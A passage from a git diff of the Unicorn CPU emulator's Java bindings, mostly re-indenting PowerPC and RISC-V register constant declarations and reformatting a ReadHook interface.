UC_PPC_REG_CR4 = 38; + public static final int UC_PPC_REG_CR5 = 39; + public static final int UC_PPC_REG_CR6 = 40; + public static final int UC_PPC_REG_CR7 = 41; + public static final int UC_PPC_REG_FPR0 = 42; + public static final int UC_PPC_REG_FPR1 = 43; + public static final int UC_PPC_REG_FPR2 = 44; + public static final int UC_PPC_REG_FPR3 = 45; + public static final int UC_PPC_REG_FPR4 = 46; + public static final int UC_PPC_REG_FPR5 = 47; + public static final int UC_PPC_REG_FPR6 = 48; + public static final int UC_PPC_REG_FPR7 = 49; + public static final int UC_PPC_REG_FPR8 = 50; + public static final int UC_PPC_REG_FPR9 = 51; + public static final int UC_PPC_REG_FPR10 = 52; + public static final int UC_PPC_REG_FPR11 = 53; + public static final int UC_PPC_REG_FPR12 = 54; + public static final int UC_PPC_REG_FPR13 = 55; + public static final int UC_PPC_REG_FPR14 = 56; + public static final int UC_PPC_REG_FPR15 = 57; + public static final int UC_PPC_REG_FPR16 = 58; + public static final int UC_PPC_REG_FPR17 = 59; + public static final int UC_PPC_REG_FPR18 = 60; + public static final int UC_PPC_REG_FPR19 = 61; + public static final int UC_PPC_REG_FPR20 = 62; + public static final int UC_PPC_REG_FPR21 = 63; + public static final int UC_PPC_REG_FPR22 = 64; + public static final int UC_PPC_REG_FPR23 = 65; + public static final int UC_PPC_REG_FPR24 = 66; + public static final int UC_PPC_REG_FPR25 = 67; + public static final int UC_PPC_REG_FPR26 = 68; + public static final int UC_PPC_REG_FPR27 = 69; + public static final int UC_PPC_REG_FPR28 = 70; + public static final int UC_PPC_REG_FPR29 = 71; + public static final int UC_PPC_REG_FPR30 = 72; + public static final int UC_PPC_REG_FPR31 = 73; + public static final int UC_PPC_REG_LR = 74; + public static final int UC_PPC_REG_XER = 75; + public static final int UC_PPC_REG_CTR = 76; + public static final int UC_PPC_REG_MSR = 77; + public static final int UC_PPC_REG_FPSCR = 78; + public static final int UC_PPC_REG_CR = 79; + public static final int UC_PPC_REG_ENDING = 80; } diff --git a/bindings/java/unicorn/ReadHook.java b/bindings/java/unicorn/ReadHook.java index d522a63f..28b6ca34 100644 --- a/bindings/java/unicorn/ReadHook.java +++ b/bindings/java/unicorn/ReadHook.java @@ -22,8 +22,5 @@ Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. package unicorn; public interface ReadHook extends Hook { - - public void hook(Unicorn u, long address, int size, Object user); - + public void hook(Unicorn u, long address, int size, Object user); } - diff --git a/bindings/java/unicorn/RiscvConst.java b/bindings/java/unicorn/RiscvConst.java index 17a17825..27b65bd4 100644 --- a/bindings/java/unicorn/RiscvConst.java +++ b/bindings/java/unicorn/RiscvConst.java @@ -4,288 +4,288 @@ package unicorn; public interface RiscvConst { -// RISCV32 CPU + // RISCV32 CPU - public static final int UC_CPU_RISCV32_ANY = 0; - public static final int UC_CPU_RISCV32_BASE32 = 1; - public static final int UC_CPU_RISCV32_SIFIVE_E31 = 2; - public static final int UC_CPU_RISCV32_SIFIVE_U34 = 3; - public static final int UC_CPU_RISCV32_ENDING = 4; + public static final int UC_CPU_RISCV32_ANY = 0; + public static final int UC_CPU_RISCV32_BASE32 = 1; + public static final int UC_CPU_RISCV32_SIFIVE_E31 = 2; + public static final int UC_CPU_RISCV32_SIFIVE_U34 = 3; + public static final int UC_CPU_RISCV32_ENDING = 4; -// RISCV64 CPU + // RISCV64 CPU - public static final int UC_CPU_RISCV64_ANY = 0; - public static final int UC_CPU_RISCV64_BASE64 = 1; - public static final int UC_CPU_RISCV64_SIFIVE_E51 = 2; - public static final int UC_CPU_RISCV64_SIFIVE_U54 = 3; - public static final int UC_CPU_RISCV64_ENDING = 4; + public static final int UC_CPU_RISCV64_ANY = 0; + public static final int UC_CPU_RISCV64_BASE64 = 1; + public static final int UC_CPU_RISCV64_SIFIVE_E51 = 2; + public static final int UC_CPU_RISCV64_SIFIVE_U54 = 3; + public static final int UC_CPU_RISCV64_ENDING = 4; -// RISCV registers + // RISCV registers - public static final int UC_RISCV_REG_INVALID = 0; + public static final int UC_RISCV_REG_INVALID = 0; -// General purpose registers - public static final int UC_RISCV_REG_X0 = 1; - public static final int UC_RISCV_REG_X1 = 2; - public static final int UC_RISCV_REG_X2 = 3; - public static final int UC_RISCV_REG_X3 = 4; - public static final int UC_RISCV_REG_X4 = 5; - public static final int UC_RISCV_REG_X5 = 6; - public static final int UC_RISCV_REG_X6 = 7; - public static final int UC_RISCV_REG_X7 = 8; - public static final int UC_RISCV_REG_X8 = 9; - public static final int UC_RISCV_REG_X9 = 10; - public static final int UC_RISCV_REG_X10 = 11; - public static final int UC_RISCV_REG_X11 = 12; - public static final int UC_RISCV_REG_X12 = 13; - public static final int UC_RISCV_REG_X13 = 14; - public static final int UC_RISCV_REG_X14 = 15; - public static final int UC_RISCV_REG_X15 = 16; - public static final int UC_RISCV_REG_X16 = 17; - public static final int UC_RISCV_REG_X17 = 18; - public static final int UC_RISCV_REG_X18 = 19; - public static final int UC_RISCV_REG_X19 = 20; - public static final int UC_RISCV_REG_X20 = 21; - public static final int UC_RISCV_REG_X21 = 22; - public static final int UC_RISCV_REG_X22 = 23; - public static final int UC_RISCV_REG_X23 = 24; - public static final int UC_RISCV_REG_X24 = 25; - public static final int UC_RISCV_REG_X25 = 26; - public static final int UC_RISCV_REG_X26 = 27; - public static final int UC_RISCV_REG_X27 = 28; - public static final int UC_RISCV_REG_X28 = 29; - public static final int UC_RISCV_REG_X29 = 30; - public static final int UC_RISCV_REG_X30 = 31; - public static final int UC_RISCV_REG_X31 = 32; + // General purpose registers + public static final int UC_RISCV_REG_X0 = 1; + public static final int UC_RISCV_REG_X1 = 2; + public static final int UC_RISCV_REG_X2 = 3; + public static final int UC_RISCV_REG_X3 = 4; + public static final int UC_RISCV_REG_X4 = 5; + public static final int UC_RISCV_REG_X5 = 6; + public static final int UC_RISCV_REG_X6 = 7; + public static final int UC_RISCV_REG_X7 = 8; + public static final int UC_RISCV_REG_X8 = 9; + public static final int UC_RISCV_REG_X9 = 10; + public static final int UC_RISCV_REG_X10 = 11; + public static final int UC_RISCV_REG_X11 = 12; + public static final int UC_RISCV_REG_X12 = 13; + public static final int UC_RISCV_REG_X13 = 14; + public static final int UC_RISCV_REG_X14 = 15; + public static final int UC_RISCV_REG_X15 = 16; + public static final int UC_RISCV_REG_X16 = 17; + public static final int UC_RISCV_REG_X17 = 18; + public static final int UC_RISCV_REG_X18 = 19; + public static final int UC_RISCV_REG_X19 = 20; + public static final int UC_RISCV_REG_X20 = 21; + public static final int UC_RISCV_REG_X21 = 22; + public static final int UC_RISCV_REG_X22 = 23; + public static final int UC_RISCV_REG_X23 = 24; + public static final int UC_RISCV_REG_X24 = 25; + public static final int UC_RISCV_REG_X25 = 26; + public static final int UC_RISCV_REG_X26 = 27; + public static final int UC_RISCV_REG_X27 = 28; + public static final int UC_RISCV_REG_X28 = 29; + public static final int UC_RISCV_REG_X29 = 30; + public static final int UC_RISCV_REG_X30 = 31; + public static final int UC_RISCV_REG_X31 = 32; -// RISCV CSR - public static final int UC_RISCV_REG_USTATUS = 33; - public static final int UC_RISCV_REG_UIE = 34; - public static final int UC_RISCV_REG_UTVEC = 35; - public static final int UC_RISCV_REG_USCRATCH = 36; - public static final int UC_RISCV_REG_UEPC = 37; - public static final int UC_RISCV_REG_UCAUSE = 38; - public static final int UC_RISCV_REG_UTVAL = 39; - public static final int UC_RISCV_REG_UIP = 40; - public static final int UC_RISCV_REG_FFLAGS = 41; - public static final int UC_RISCV_REG_FRM = 42; - public static final int UC_RISCV_REG_FCSR = 43; - public static final int UC_RISCV_REG_CYCLE = 44; - public static final int UC_RISCV_REG_TIME = 45; - public static final int UC_RISCV_REG_INSTRET = 46; - public static final int UC_RISCV_REG_HPMCOUNTER3 = 47; - public static final int UC_RISCV_REG_HPMCOUNTER4 = 48; - public static final int UC_RISCV_REG_HPMCOUNTER5 = 49; - public static final int UC_RISCV_REG_HPMCOUNTER6 = 50; - public static final int UC_RISCV_REG_HPMCOUNTER7 = 51; - public static final int UC_RISCV_REG_HPMCOUNTER8 = 52; - public static final int UC_RISCV_REG_HPMCOUNTER9 = 53; - public static final int UC_RISCV_REG_HPMCOUNTER10 = 54; - public static final int UC_RISCV_REG_HPMCOUNTER11 = 55; - public static final int UC_RISCV_REG_HPMCOUNTER12 = 56; - public static final int UC_RISCV_REG_HPMCOUNTER13 = 57; - public static final int UC_RISCV_REG_HPMCOUNTER14 = 58; - public static final int UC_RISCV_REG_HPMCOUNTER15 = 59; - public static final int UC_RISCV_REG_HPMCOUNTER16 = 60; - public static final int UC_RISCV_REG_HPMCOUNTER17 = 61; - public static final int UC_RISCV_REG_HPMCOUNTER18 = 62; - public static final int UC_RISCV_REG_HPMCOUNTER19 = 63; - public static final int UC_RISCV_REG_HPMCOUNTER20 = 64; - public static final int UC_RISCV_REG_HPMCOUNTER21 = 65; - public static final int UC_RISCV_REG_HPMCOUNTER22 = 66; - public static final int UC_RISCV_REG_HPMCOUNTER23 = 67; - public static final int UC_RISCV_REG_HPMCOUNTER24 = 68; - public static final int UC_RISCV_REG_HPMCOUNTER25 = 69; - public static final int UC_RISCV_REG_HPMCOUNTER26 = 70; - public static final int UC_RISCV_REG_HPMCOUNTER27 = 71; - public static final int UC_RISCV_REG_HPMCOUNTER28 = 72; - public static final int UC_RISCV_REG_HPMCOUNTER29 = 73; - public static final int UC_RISCV_REG_HPMCOUNTER30 = 74; - public static final int UC_RISCV_REG_HPMCOUNTER31 = 75; - public static final int UC_RISCV_REG_CYCLEH = 76; - public static final int UC_RISCV_REG_TIMEH = 77; - public static final int UC_RISCV_REG_INSTRETH = 78; - public static final int UC_RISCV_REG_HPMCOUNTER3H = 79; - public static final int UC_RISCV_REG_HPMCOUNTER4H = 80; - public static final int UC_RISCV_REG_HPMCOUNTER5H = 81; - public static final int UC_RISCV_REG_HPMCOUNTER6H = 82; - public static final int UC_RISCV_REG_HPMCOUNTER7H = 83; - public static final int UC_RISCV_REG_HPMCOUNTER8H = 84; - public static final int UC_RISCV_REG_HPMCOUNTER9H = 85; - public static final int UC_RISCV_REG_HPMCOUNTER10H = 86; - public static final int UC_RISCV_REG_HPMCOUNTER11H = 87; - public static final int UC_RISCV_REG_HPMCOUNTER12H = 88; - public static final int UC_RISCV_REG_HPMCOUNTER13H = 89; - public static final int UC_RISCV_REG_HPMCOUNTER14H = 90; - public static final int UC_RISCV_REG_HPMCOUNTER15H = 91; - public static final int UC_RISCV_REG_HPMCOUNTER16H = 92; - public static final int UC_RISCV_REG_HPMCOUNTER17H = 93; - public static final int UC_RISCV_REG_HPMCOUNTER18H = 94; - public static final int UC_RISCV_REG_HPMCOUNTER19H = 95; - public static final int UC_RISCV_REG_HPMCOUNTER20H = 96; - public static final int UC_RISCV_REG_HPMCOUNTER21H = 97; - public static final int UC_RISCV_REG_HPMCOUNTER22H = 98; - public static final int UC_RISCV_REG_HPMCOUNTER23H = 99; - public static final int UC_RISCV_REG_HPMCOUNTER24H = 100; - public static final int UC_RISCV_REG_HPMCOUNTER25H = 101; - public static final int UC_RISCV_REG_HPMCOUNTER26H = 102; - public static final int UC_RISCV_REG_HPMCOUNTER27H = 103; - public static final int UC_RISCV_REG_HPMCOUNTER28H = 104; - public static final int UC_RISCV_REG_HPMCOUNTER29H = 105; - public static final int UC_RISCV_REG_HPMCOUNTER30H = 106; - public static final int UC_RISCV_REG_HPMCOUNTER31H = 107; - public static final int UC_RISCV_REG_MCYCLE = 108; - public static final int UC_RISCV_REG_MINSTRET = 109; - public static final int UC_RISCV_REG_MCYCLEH = 110; - public static final int UC_RISCV_REG_MINSTRETH = 111; - public static final int UC_RISCV_REG_MVENDORID = 112; - public static final int UC_RISCV_REG_MARCHID = 113; - public static final int UC_RISCV_REG_MIMPID = 114; - public static final int UC_RISCV_REG_MHARTID = 115; - public static final int UC_RISCV_REG_MSTATUS = 116; - public static final int UC_RISCV_REG_MISA = 117; - public static final int UC_RISCV_REG_MEDELEG = 118; - public static final int UC_RISCV_REG_MIDELEG = 119; - public static final int UC_RISCV_REG_MIE = 120; - public static final int UC_RISCV_REG_MTVEC = 121; - public static final int UC_RISCV_REG_MCOUNTEREN = 122; - public static final int UC_RISCV_REG_MSTATUSH = 123; - public static final int UC_RISCV_REG_MUCOUNTEREN = 124; - public static final int UC_RISCV_REG_MSCOUNTEREN = 125; - public static final int UC_RISCV_REG_MHCOUNTEREN = 126; - public static final int UC_RISCV_REG_MSCRATCH = 127; - public static final int UC_RISCV_REG_MEPC = 128; - public static final int UC_RISCV_REG_MCAUSE = 129; - public static final int UC_RISCV_REG_MTVAL = 130; - public static final int UC_RISCV_REG_MIP = 131; - public static final int UC_RISCV_REG_MBADADDR = 132; - public static final int UC_RISCV_REG_SSTATUS = 133; - public static final int UC_RISCV_REG_SEDELEG = 134; - public static final int UC_RISCV_REG_SIDELEG = 135; - public static final int UC_RISCV_REG_SIE = 136; - public static final int UC_RISCV_REG_STVEC = 137; - public static final int UC_RISCV_REG_SCOUNTEREN = 138; - public static final int UC_RISCV_REG_SSCRATCH = 139; - public static final int UC_RISCV_REG_SEPC = 140; - public static final int UC_RISCV_REG_SCAUSE = 141; - public static final int UC_RISCV_REG_STVAL = 142; - public static final int UC_RISCV_REG_SIP = 143; - public static final int UC_RISCV_REG_SBADADDR = 144; - public static final int UC_RISCV_REG_SPTBR = 145; - public static final int UC_RISCV_REG_SATP = 146; - public static final int UC_RISCV_REG_HSTATUS = 147; - public static final int UC_RISCV_REG_HEDELEG = 148; - public static final int UC_RISCV_REG_HIDELEG = 149; - public static final int UC_RISCV_REG_HIE = 150; - public static final int UC_RISCV_REG_HCOUNTEREN = 151; - public static final int UC_RISCV_REG_HTVAL = 152; - public static final int UC_RISCV_REG_HIP = 153; - public static final int UC_RISCV_REG_HTINST = 154; - public static final int UC_RISCV_REG_HGATP = 155; - public static final int UC_RISCV_REG_HTIMEDELTA = 156; - public static final int UC_RISCV_REG_HTIMEDELTAH = 157; + // RISCV CSR + public static final int UC_RISCV_REG_USTATUS = 33; + public static final int UC_RISCV_REG_UIE = 34; + public static final int UC_RISCV_REG_UTVEC = 35; + public static final int UC_RISCV_REG_USCRATCH = 36; + public static final int UC_RISCV_REG_UEPC = 37; + public static final int UC_RISCV_REG_UCAUSE = 38; + public static final int UC_RISCV_REG_UTVAL = 39; + public static final int UC_RISCV_REG_UIP = 40; + public static final int UC_RISCV_REG_FFLAGS = 41; + public static final int UC_RISCV_REG_FRM = 42; + public static final int UC_RISCV_REG_FCSR = 43; + public static final int UC_RISCV_REG_CYCLE = 44; + public static final int UC_RISCV_REG_TIME = 45; + public static final int UC_RISCV_REG_INSTRET = 46; + public static final int UC_RISCV_REG_HPMCOUNTER3 = 47; + public static final int UC_RISCV_REG_HPMCOUNTER4 = 48; + public static final int UC_RISCV_REG_HPMCOUNTER5 = 49; + public static final int UC_RISCV_REG_HPMCOUNTER6 = 50; + public static final int UC_RISCV_REG_HPMCOUNTER7 = 51; + public static final int UC_RISCV_REG_HPMCOUNTER8 = 52; + public static final int UC_RISCV_REG_HPMCOUNTER9 = 53; + public static final int UC_RISCV_REG_HPMCOUNTER10 = 54; + public static final int UC_RISCV_REG_HPMCOUNTER11 = 55; + public static final int UC_RISCV_REG_HPMCOUNTER12 = 56; + public static final int UC_RISCV_REG_HPMCOUNTER13 = 57; + public static final int UC_RISCV_REG_HPMCOUNTER14 = 58; + public static final int UC_RISCV_REG_HPMCOUNTER15 = 59; + public static final int UC_RISCV_REG_HPMCOUNTER16 = 60; + public static final int UC_RISCV_REG_HPMCOUNTER17 = 61; + public static final int UC_RISCV_REG_HPMCOUNTER18 = 62; + public static final int UC_RISCV_REG_HPMCOUNTER19 = 63; + public static final int UC_RISCV_REG_HPMCOUNTER20 = 64; + public static final int UC_RISCV_REG_HPMCOUNTER21 = 65; + public static final int UC_RISCV_REG_HPMCOUNTER22 = 66; + public static final int UC_RISCV_REG_HPMCOUNTER23 = 67; + public static final int UC_RISCV_REG_HPMCOUNTER24 = 68; + public static final int UC_RISCV_REG_HPMCOUNTER25 = 69; + public static final int UC_RISCV_REG_HPMCOUNTER26 = 70; + public static final int UC_RISCV_REG_HPMCOUNTER27 = 71; + public static final int UC_RISCV_REG_HPMCOUNTER28 = 72; + public static final int UC_RISCV_REG_HPMCOUNTER29 = 73; + public static final int UC_RISCV_REG_HPMCOUNTER30 = 74; + public static final int UC_RISCV_REG_HPMCOUNTER31 = 75; + public static final int UC_RISCV_REG_CYCLEH = 76; + public static final int UC_RISCV_REG_TIMEH = 77; + public static final int UC_RISCV_REG_INSTRETH = 78; + public static final int UC_RISCV_REG_HPMCOUNTER3H = 79; + public static final int UC_RISCV_REG_HPMCOUNTER4H = 80; + public static final int UC_RISCV_REG_HPMCOUNTER5H = 81; + public static final int UC_RISCV_REG_HPMCOUNTER6H = 82; + public static final int UC_RISCV_REG_HPMCOUNTER7H = 83; + public static final int UC_RISCV_REG_HPMCOUNTER8H = 84; + public static final int UC_RISCV_REG_HPMCOUNTER9H = 85; + public static final int UC_RISCV_REG_HPMCOUNTER10H = 86; + public static final int UC_RISCV_REG_HPMCOUNTER11H = 87; + public static final int UC_RISCV_REG_HPMCOUNTER12H = 88; + public static final int UC_RISCV_REG_HPMCOUNTER13H = 89; + public static final int UC_RISCV_REG_HPMCOUNTER14H = 90; + public static final int UC_RISCV_REG_HPMCOUNTER15H = 91; + public static final int UC_RISCV_REG_HPMCOUNTER16H = 92; + public static final int UC_RISCV_REG_HPMCOUNTER17H = 93; + public static final int UC_RISCV_REG_HPMCOUNTER18H = 94; + public static final int UC_RISCV_REG_HPMCOUNTER19H = 95; + public static final int UC_RISCV_REG_HPMCOUNTER20H = 96; + public static final int UC_RISCV_REG_HPMCOUNTER21H = 97; + public static final int UC_RISCV_REG_HPMCOUNTER22H = 98; + public static final int UC_RISCV_REG_HPMCOUNTER23H = 99; + public static final int UC_RISCV_REG_HPMCOUNTER24H = 100; + public static final int UC_RISCV_REG_HPMCOUNTER25H = 101; + public static final int UC_RISCV_REG_HPMCOUNTER26H = 102; + public static final int UC_RISCV_REG_HPMCOUNTER27H = 103; + public static final int UC_RISCV_REG_HPMCOUNTER28H = 104; + public static final int UC_RISCV_REG_HPMCOUNTER29H = 105; + public static final int UC_RISCV_REG_HPMCOUNTER30H = 106; + public static final int UC_RISCV_REG_HPMCOUNTER31H = 107; + public static final int UC_RISCV_REG_MCYCLE = 108; + public static final int UC_RISCV_REG_MINSTRET = 109; + public static final int UC_RISCV_REG_MCYCLEH = 110; + public static final int UC_RISCV_REG_MINSTRETH = 111; + public static final int UC_RISCV_REG_MVENDORID = 112; + public static final int UC_RISCV_REG_MARCHID = 113; + public static final int UC_RISCV_REG_MIMPID = 114; + public static final int UC_RISCV_REG_MHARTID = 115; + public static final int UC_RISCV_REG_MSTATUS = 116; + public static final int UC_RISCV_REG_MISA = 117; + public static final int UC_RISCV_REG_MEDELEG = 118; + public static final int UC_RISCV_REG_MIDELEG = 119; + public static final int UC_RISCV_REG_MIE = 120; + public static final int UC_RISCV_REG_MTVEC = 121; + public static final int UC_RISCV_REG_MCOUNTEREN = 122; + public static final int UC_RISCV_REG_MSTATUSH = 123; + public static final int UC_RISCV_REG_MUCOUNTEREN = 124; + public static final int UC_RISCV_REG_MSCOUNTEREN = 125; + public static final int UC_RISCV_REG_MHCOUNTEREN = 126; + public static final int UC_RISCV_REG_MSCRATCH = 127; + public static final int UC_RISCV_REG_MEPC = 128; + public static final int UC_RISCV_REG_MCAUSE = 129; + public static final int UC_RISCV_REG_MTVAL = 130; + public static final int UC_RISCV_REG_MIP = 131; + public static final int UC_RISCV_REG_MBADADDR = 132; + public static final int UC_RISCV_REG_SSTATUS = 133; + public static final int UC_RISCV_REG_SEDELEG = 134; + public static final int UC_RISCV_REG_SIDELEG = 135; + public static final int UC_RISCV_REG_SIE = 136; + public static final int UC_RISCV_REG_STVEC = 137; + public static final int UC_RISCV_REG_SCOUNTEREN = 138; + public static final int UC_RISCV_REG_SSCRATCH = 139; + public static final int UC_RISCV_REG_SEPC = 140; + public static final int UC_RISCV_REG_SCAUSE = 141; + public static final int UC_RISCV_REG_STVAL = 142; + public static final int UC_RISCV_REG_SIP = 143; + public static final int UC_RISCV_REG_SBADADDR = 144; + public static final int UC_RISCV_REG_SPTBR = 145; + public static final int UC_RISCV_REG_SATP = 146; + public static final int UC_RISCV_REG_HSTATUS = 147; + public static final int UC_RISCV_REG_HEDELEG = 148; + public static final int UC_RISCV_REG_HIDELEG = 149; + public static final int UC_RISCV_REG_HIE = 150; + public static final int UC_RISCV_REG_HCOUNTEREN = 151; + public static final int UC_RISCV_REG_HTVAL = 152; + public static final int UC_RISCV_REG_HIP = 153; + public static final int UC_RISCV_REG_HTINST = 154; + public static final int UC_RISCV_REG_HGATP = 155; + public static final int UC_RISCV_REG_HTIMEDELTA = 156; + public static final int UC_RISCV_REG_HTIMEDELTAH = 157; -// Floating-point registers - public static final int UC_RISCV_REG_F0 = 158; - public static final int UC_RISCV_REG_F1 = 159; - public static final int UC_RISCV_REG_F2 = 160; - public static final int UC_RISCV_REG_F3 = 161; - public static final int UC_RISCV_REG_F4 = 162; - public static final int UC_RISCV_REG_F5 = 163; - public static final int UC_RISCV_REG_F6 = 164; - public static final int UC_RISCV_REG_F7 = 165; - public static final int UC_RISCV_REG_F8 = 166; - public static final int UC_RISCV_REG_F9 = 167; - public static final int UC_RISCV_REG_F10 = 168; - public static final int UC_RISCV_REG_F11 = 169; - public static final int UC_RISCV_REG_F12 = 170; - public static final int UC_RISCV_REG_F13 = 171; - public static final int UC_RISCV_REG_F14 = 172; - public static final int UC_RISCV_REG_F15 = 173; - public static final int UC_RISCV_REG_F16 = 174; - public static final int UC_RISCV_REG_F17 = 175; - public static final int UC_RISCV_REG_F18 = 176; - public static final int UC_RISCV_REG_F19 = 177; - public static final int UC_RISCV_REG_F20 = 178; - public static final int UC_RISCV_REG_F21 = 179; - public static final int UC_RISCV_REG_F22 = 180; - public static final int UC_RISCV_REG_F23 = 181; - public static final int UC_RISCV_REG_F24 = 182; - public static final int UC_RISCV_REG_F25 = 183; - public static final int UC_RISCV_REG_F26 = 184; - public static final int UC_RISCV_REG_F27 = 185; - public static final int UC_RISCV_REG_F28 = 186; - public static final int UC_RISCV_REG_F29 = 187; - public static final int UC_RISCV_REG_F30 = 188; - public static final int UC_RISCV_REG_F31 = 189; - public static final int UC_RISCV_REG_PC = 190; - public static final int UC_RISCV_REG_ENDING = 191; + // Floating-point registers + public static final int UC_RISCV_REG_F0 = 158; + public static final int UC_RISCV_REG_F1 = 159; + public static final int UC_RISCV_REG_F2 = 160; + public static final int UC_RISCV_REG_F3 = 161; + public static final int UC_RISCV_REG_F4 = 162; + public static final int UC_RISCV_REG_F5 = 163; + public static final int UC_RISCV_REG_F6 = 164; + public static final int UC_RISCV_REG_F7 = 165; + public static final int UC_RISCV_REG_F8 = 166; + public static final int UC_RISCV_REG_F9 = 167; + public static final int UC_RISCV_REG_F10 = 168; + public static final int UC_RISCV_REG_F11 = 169; + public static final int UC_RISCV_REG_F12 = 170; + public static final int UC_RISCV_REG_F13 = 171; + public static final int UC_RISCV_REG_F14 = 172; + public static final int UC_RISCV_REG_F15 = 173; + public static final int UC_RISCV_REG_F16 = 174; + public static final int UC_RISCV_REG_F17 = 175; + public static final int UC_RISCV_REG_F18 = 176; + public static final int UC_RISCV_REG_F19 = 177; + public static final int UC_RISCV_REG_F20 = 178; + public static final int UC_RISCV_REG_F21 = 179; + public static final int UC_RISCV_REG_F22 = 180; + public static final int UC_RISCV_REG_F23 = 181; + public static final int UC_RISCV_REG_F24 = 182; + public static final int UC_RISCV_REG_F25 = 183; + public static final int UC_RISCV_REG_F26 = 184; + public static final int UC_RISCV_REG_F27 = 185; + public static final int UC_RISCV_REG_F28 = 186; + public static final int UC_RISCV_REG_F29 = 187; + public static final int UC_RISCV_REG_F30 = 188; + public static final int UC_RISCV_REG_F31 = 189; + public static final int UC_RISCV_REG_PC = 190; + public static final int UC_RISCV_REG_ENDING = 191; -// Alias registers - public static final int UC_RISCV_REG_ZERO = 1; - public static final int UC_RISCV_REG_RA = 2; - public static final int UC_RISCV_REG_SP = 3; - public static final int UC_RISCV_REG_GP = 4; - public static final int UC_RISCV_REG_TP = 5; - public static final int UC_RISCV_REG_T0 = 6; - public static final int UC_RISCV_REG_T1 = 7; - public static final int UC_RISCV_REG_T2 = 8; - public static final int UC_RISCV_REG_S0 = 9; - public static final int UC_RISCV_REG_FP = 9; - public static final int UC_RISCV_REG_S1 = 10; - public static final int UC_RISCV_REG_A0 = 11; - public static final int UC_RISCV_REG_A1 = 12; - public static final int UC_RISCV_REG_A2 = 13; - public static final int UC_RISCV_REG_A3 = 14; - public static final int UC_RISCV_REG_A4 = 15; - public static final int UC_RISCV_REG_A5 = 16; - public static final int UC_RISCV_REG_A6 = 17; - public static final int UC_RISCV_REG_A7 = 18; - public static final int UC_RISCV_REG_S2 = 19; - public static final int UC_RISCV_REG_S3 = 20; - public static final int UC_RISCV_REG_S4 = 21; - public static final int UC_RISCV_REG_S5 = 22; - public static final int UC_RISCV_REG_S6 = 23; - public static final int UC_RISCV_REG_S7 = 24; - public static final int UC_RISCV_REG_S8 = 25; - public static final int UC_RISCV_REG_S9 = 26; - public static final int UC_RISCV_REG_S10 = 27; - public static final int UC_RISCV_REG_S11 = 28; - public static final int UC_RISCV_REG_T3 = 29; - public static final int UC_RISCV_REG_T4 = 30; - public static final int UC_RISCV_REG_T5 = 31; - public static final int UC_RISCV_REG_T6 = 32; - public static final int UC_RISCV_REG_FT0 = 158; - public static final int UC_RISCV_REG_FT1 = 159; - public static final int UC_RISCV_REG_FT2 = 160; - public static final int UC_RISCV_REG_FT3 = 161; - public static final int UC_RISCV_REG_FT4 = 162; - public static final int UC_RISCV_REG_FT5 = 163; - public static final int UC_RISCV_REG_FT6 = 164; - public static final int UC_RISCV_REG_FT7 = 165; - public static final int UC_RISCV_REG_FS0 = 166; - public static final int UC_RISCV_REG_FS1 = 167; - public static final int UC_RISCV_REG_FA0 = 168; - public static final int UC_RISCV_REG_FA1 = 169; - public static final int UC_RISCV_REG_FA2 = 170; - public static final int UC_RISCV_REG_FA3 = 171; - public static final int UC_RISCV_REG_FA4 = 172; - public static final int UC_RISCV_REG_FA5 = 173; - public static final int UC_RISCV_REG_FA6 = 174; - public static final int UC_RISCV_REG_FA7 = 175; - public static final int UC_RISCV_REG_FS2 = 176; - public static final int UC_RISCV_REG_FS3 = 177; - public static final int UC_RISCV_REG_FS4 = 178; - public static final int UC_RISCV_REG_FS5 = 179; - public static final int UC_RISCV_REG_FS6 = 180; - public static final int UC_RISCV_REG_FS7 = 181; - public static final int UC_RISCV_REG_FS8 = 182; - public static final int UC_RISCV_REG_FS9 = 183; - public static final int UC_RISCV_REG_FS10 = 184; - public static final int UC_RISCV_REG_FS11 = 185; - public static final int UC_RISCV_REG_FT8 = 186; - public static final int UC_RISCV_REG_FT9 = 187; - public static final int UC_RISCV_REG_FT10 = 188; - public static final int UC_RISCV_REG_FT11 = 189; + // Alias registers + public static final int UC_RISCV_REG_ZERO = 1; + public static final int UC_RISCV_REG_RA = 2; + public static final int UC_RISCV_REG_SP = 3; + public static final int UC_RISCV_REG_GP = 4; + public static final int UC_RISCV_REG_TP = 5; + public static final int UC_RISCV_REG_T0 = 6; + public static final int UC_RISCV_REG_T1 = 7; + public static final int UC_RISCV_REG_T2 = 8; + public static final int UC_RISCV_REG_S0 = 9; + public static final int UC_RISCV_REG_FP = 9; + public static final int UC_RISCV_REG_S1 = 10; + public static final int UC_RISCV_REG_A0 = 11; + public static final int UC_RISCV_REG_A1 = 12; + public static final int UC_RISCV_REG_A2 = 13; + public static final int UC_RISCV_REG_A3 = 14; + public static final int UC_RISCV_REG_A4 = 15; + public static final int UC_RISCV_REG_A5 = 16; + public static final int UC_RISCV_REG_A6 = 17; + public static final int UC_RISCV_REG_A7 = 18; + public static final int UC_RISCV_REG_S2 = 19; + public static final int UC_RISCV_REG_S3 = 20; + public static final int UC_RISCV_REG_S4 = 21; + public static final int UC_RISCV_REG_S5 = 22; + public static final int UC_RISCV_REG_S6 = 23; + public static final int UC_RISCV_REG_S7 = 24; + public static final int UC_RISCV_REG_S8 = 25; + public static final int UC_RISCV_REG_S9 = 26; + public static final int UC_RISCV_REG_S10 = 27; + public static final int UC_RISCV_REG_S11 = 28; + public static final int UC_RISCV_REG_T3 = 29; + public static final int UC_RISCV_REG_T4 = 30; + public static final int UC_RISCV_REG_T5 = 31; + public static final int UC_RISCV_REG_T6 = 32; + public static final int UC_RISCV_REG_FT0 = 158; + public static final int UC_RISCV_REG_FT1 = 159; + public static final int UC_RISCV_REG_FT2 = 160; + public static final int UC_RISCV_REG_FT3 = 161; + public static final int UC_RISCV_REG_FT4 = 162; + public static final int UC_RISCV_REG_FT5 = 163; + public static final int UC_RISCV_REG_FT6 = 164; + public static final int UC_RISCV_REG_FT7 = 165; + public static final int UC_RISCV_REG_FS0 = 166; + public static final int UC_RISCV_REG_FS1 = 167; + public static final int UC_RISCV_REG_FA0 = 168; + public static final int UC_RISCV_REG_FA1 = 169; + public static final int UC_RISCV_REG_FA2 = 170; + public static final int UC_RISCV_REG_FA3 = 171; + public static final int UC_RISCV_REG_FA4 = 172; + public static final int UC_RISCV_REG_FA5 = 173; + public static final int UC_RISCV_REG_FA6 = 174; + public static final int UC_RISCV_REG_FA7 = 175; + public static final int UC_RISCV_REG_FS2 = 176; + public static final int UC_RISCV_REG_FS3 = 177; + public static final int UC_RISCV_REG_FS4 = 178; + public static final int UC_RISCV_REG_FS5 = 179; + public static final int 